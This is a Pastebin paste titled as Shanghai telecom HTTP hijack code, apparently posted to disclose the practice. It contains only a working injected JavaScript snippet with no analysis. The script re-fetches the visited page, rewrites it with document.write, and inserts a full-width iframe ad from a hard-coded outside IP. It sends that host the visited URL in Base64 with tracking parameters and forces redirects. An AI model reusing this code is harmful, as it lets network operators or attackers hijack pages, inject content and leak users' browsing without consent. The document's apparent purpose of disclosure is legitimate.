Advertisement
Guest User

Shanghai telecom http hijack code

a guest
Apr 21st, 2017
348
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script>
  2. (function(){
  3.         window["$$$wins_pm"] = {
  4.                 "a": "http://218.95.37.249:7799/info.html?sn=0&type=html&mobile=1&aid=2725&width=&height=60&full=100",
  5.                 "m": "http://m.newsmth.net/article/DigiHome/667357",
  6.                 "_xus": "Y1eLw1V9MBsCdBFpzkovMPMvYZzlMm==M3gO",
  7.                 "_xai": "0"
  8.         };
  9.  
  10.         var xp=null,key="d=123",lo=location.href,ho=false;
  11.         function cu(u){
  12.                 var p=u.indexOf("?");
  13.                 if(p>0)
  14.                         u=u.slice(0,p+1)+key+"&"+u.slice(p+1);
  15.                 else
  16.                         u+="?"+key;
  17.                 return u;
  18.  
  19.         }
  20.  
  21.         function adx(obj){
  22.                 var a = obj.parentNode;
  23.                 a.parentNode.removeChild(a);
  24.         }
  25.  
  26.         function Base64() {
  27.                 _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  28.                 this.encode = function(input) {
  29.                         var output = "";
  30.                         var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  31.                         var i = 0;
  32.                         input = _utf8_encode(input);
  33.                         while (i < input.length) {
  34.                                 chr1 = input.charCodeAt(i++);
  35.                                 chr2 = input.charCodeAt(i++);
  36.                                 chr3 = input.charCodeAt(i++);
  37.                                 enc1 = chr1 >> 2;
  38.                                 enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  39.                                 enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  40.                                 enc4 = chr3 & 63;
  41.                                 if (isNaN(chr2)) {
  42.                                         enc3 = enc4 = 64
  43.                                 } else if (isNaN(chr3)) {
  44.                                         enc4 = 64
  45.                                 }
  46.                                 output = output + _keyStr.charAt(enc1) + _keyStr.charAt(enc2) + _keyStr.charAt(enc3) + _keyStr.charAt(enc4)
  47.                         }
  48.                         return output
  49.                 };
  50.                 this.decode = function(input) {
  51.                         var output = "";
  52.                         var chr1, chr2, chr3;
  53.                         var enc1, enc2, enc3, enc4;
  54.                         var i = 0;
  55.                         input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  56.                         while (i < input.length) {
  57.                                 enc1 = _keyStr.indexOf(input.charAt(i++));
  58.                                 enc2 = _keyStr.indexOf(input.charAt(i++));
  59.                                 enc3 = _keyStr.indexOf(input.charAt(i++));
  60.                                 enc4 = _keyStr.indexOf(input.charAt(i++));
  61.                                 chr1 = (enc1 << 2) | (enc2 >> 4);
  62.                                 chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  63.                                 chr3 = ((enc3 & 3) << 6) | enc4;
  64.                                 output = output + String.fromCharCode(chr1);
  65.                                 if (enc3 != 64) {
  66.                                         output = output + String.fromCharCode(chr2)
  67.                                 }
  68.                                 if (enc4 != 64) {
  69.                                         output = output + String.fromCharCode(chr3)
  70.                                 }
  71.                         }
  72.                         output = _utf8_decode(output);
  73.                         return output
  74.                 };
  75.                 _utf8_encode = function(string) {
  76.                         string = string.replace(/\r\n/g, "\n");
  77.                         var utftext = "";
  78.                         for (var n = 0; n < string.length; n++) {
  79.                                 var c = string.charCodeAt(n);
  80.                                 if (c < 128) {
  81.                                         utftext += String.fromCharCode(c)
  82.                                 } else if ((c > 127) && (c < 2048)) {
  83.                                         utftext += String.fromCharCode((c >> 6) | 192);
  84.                                         utftext += String.fromCharCode((c & 63) | 128)
  85.                                 } else {
  86.                                         utftext += String.fromCharCode((c >> 12) | 224);
  87.                                         utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  88.                                         utftext += String.fromCharCode((c & 63) | 128)
  89.                                 }
  90.                         }
  91.                         return utftext
  92.                 };
  93.                 _utf8_decode = function(utftext) {
  94.                         var string = "";
  95.                         var i = 0;
  96.                         var c = c1 = c2 = 0;
  97.                         while (i < utftext.length) {
  98.                                 c = utftext.charCodeAt(i);
  99.                                 if (c < 128) {
  100.                                         string += String.fromCharCode(c);
  101.                                         i++
  102.                                 } else if ((c > 191) && (c < 224)) {
  103.                                         c2 = utftext.charCodeAt(i + 1);
  104.                                         string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  105.                                         i += 2
  106.                                 } else {
  107.                                         c2 = utftext.charCodeAt(i + 1);
  108.                                         c3 = utftext.charCodeAt(i + 2);
  109.                                         string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  110.                                         i += 3
  111.                                 }
  112.                         }
  113.                         return string
  114.                 }
  115.         }
  116.         window["__BASE64"] = new Base64();
  117.  
  118.         function getURLwithParams() {
  119.                 var url = "";
  120.                 if ($$$wins_pm.a.indexOf('?') > 0) {
  121.                         url = $$$wins_pm.a + "&_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai;
  122.                 } else {
  123.                         url = $$$wins_pm.a + "?_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai;
  124.                 }
  125.                 return url;
  126.         }
  127.  
  128.         if(window.XMLHttpRequest)
  129.                 xp=new XMLHttpRequest();
  130.         if(typeof(xp)=="undefined"||top!=this){
  131.                 if(lo.indexOf(key)<0)
  132.                         lo=cu(lo);
  133.                 location.href=lo;
  134.                 return;
  135.         }
  136.         xp.onreadystatechange=function(){
  137.                 if(xp.readyState==4){
  138.                         if(xp.status==200 || xp.status==301 || xp.status==302){
  139.                                 try{
  140.                                         var rt=xp.responseText;
  141.                                         document.charset=/<meta\s*.*\s*charset\s*=\s*[\"\']?utf-8/i.test(rt)?'utf-8':'gbk';
  142.                                         document.open();
  143.                                         var sjs='<script type="text/javascript" language="javascript">function adx(obj){var a = obj.parentNode;a.parentNode.removeChild(a);}<\/script><div id="aabbcc" style="position:fixed; height:77px; width:100%; bottom:0; z-index:2147483647"><span id="ad-x" onclick=adx(this)  style="position: fixed; right: 0;z-index: 8; padding: 2px 6px; font-family:\'Microsoft Yahei\';font-size:14px;color:#ffffff; border:0px solid #5e6265;  background: #5e6265;">关闭</span><iframe id="ad" style="position:fixed; height:60px; width:100%; bottom:0"  src="' + getURLwithParams() + '" scrolling="auto" frameborder="no" ></iframe></div>';
  144.                                         //var w0=rt.indexOf("<\/head>")>0 ? rt.indexOf("<\/head>"):rt.indexOf("<\/body>");
  145.                                         var w0=rt.indexOf("<\/body>")>0 ? rt.indexOf("<\/body>"):rt.indexOf("<\/head>");
  146.                                         if(w0>0){
  147.                                                 rt=rt.slice(0,w0)+sjs+rt.slice(w0);
  148.                                         }
  149.                                         document.write(rt);
  150.                                         document.close();
  151.                                         ho=true;
  152.                                 }catch(err){}
  153.  
  154.                         }else if(!ho&&xp.status==0){
  155.                                 location.href=cu(lo);
  156.                         }else {
  157.                                 location.href=cu(lo);
  158.                         }
  159.                 }
  160.         }
  161.         xp.open("GET",cu(lo),true);
  162.         xp.setRequestHeader("Cache-Control","no-cache");
  163.         xp.send();
  164. })();
  165. </script>
  166. <div style='display:none'>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement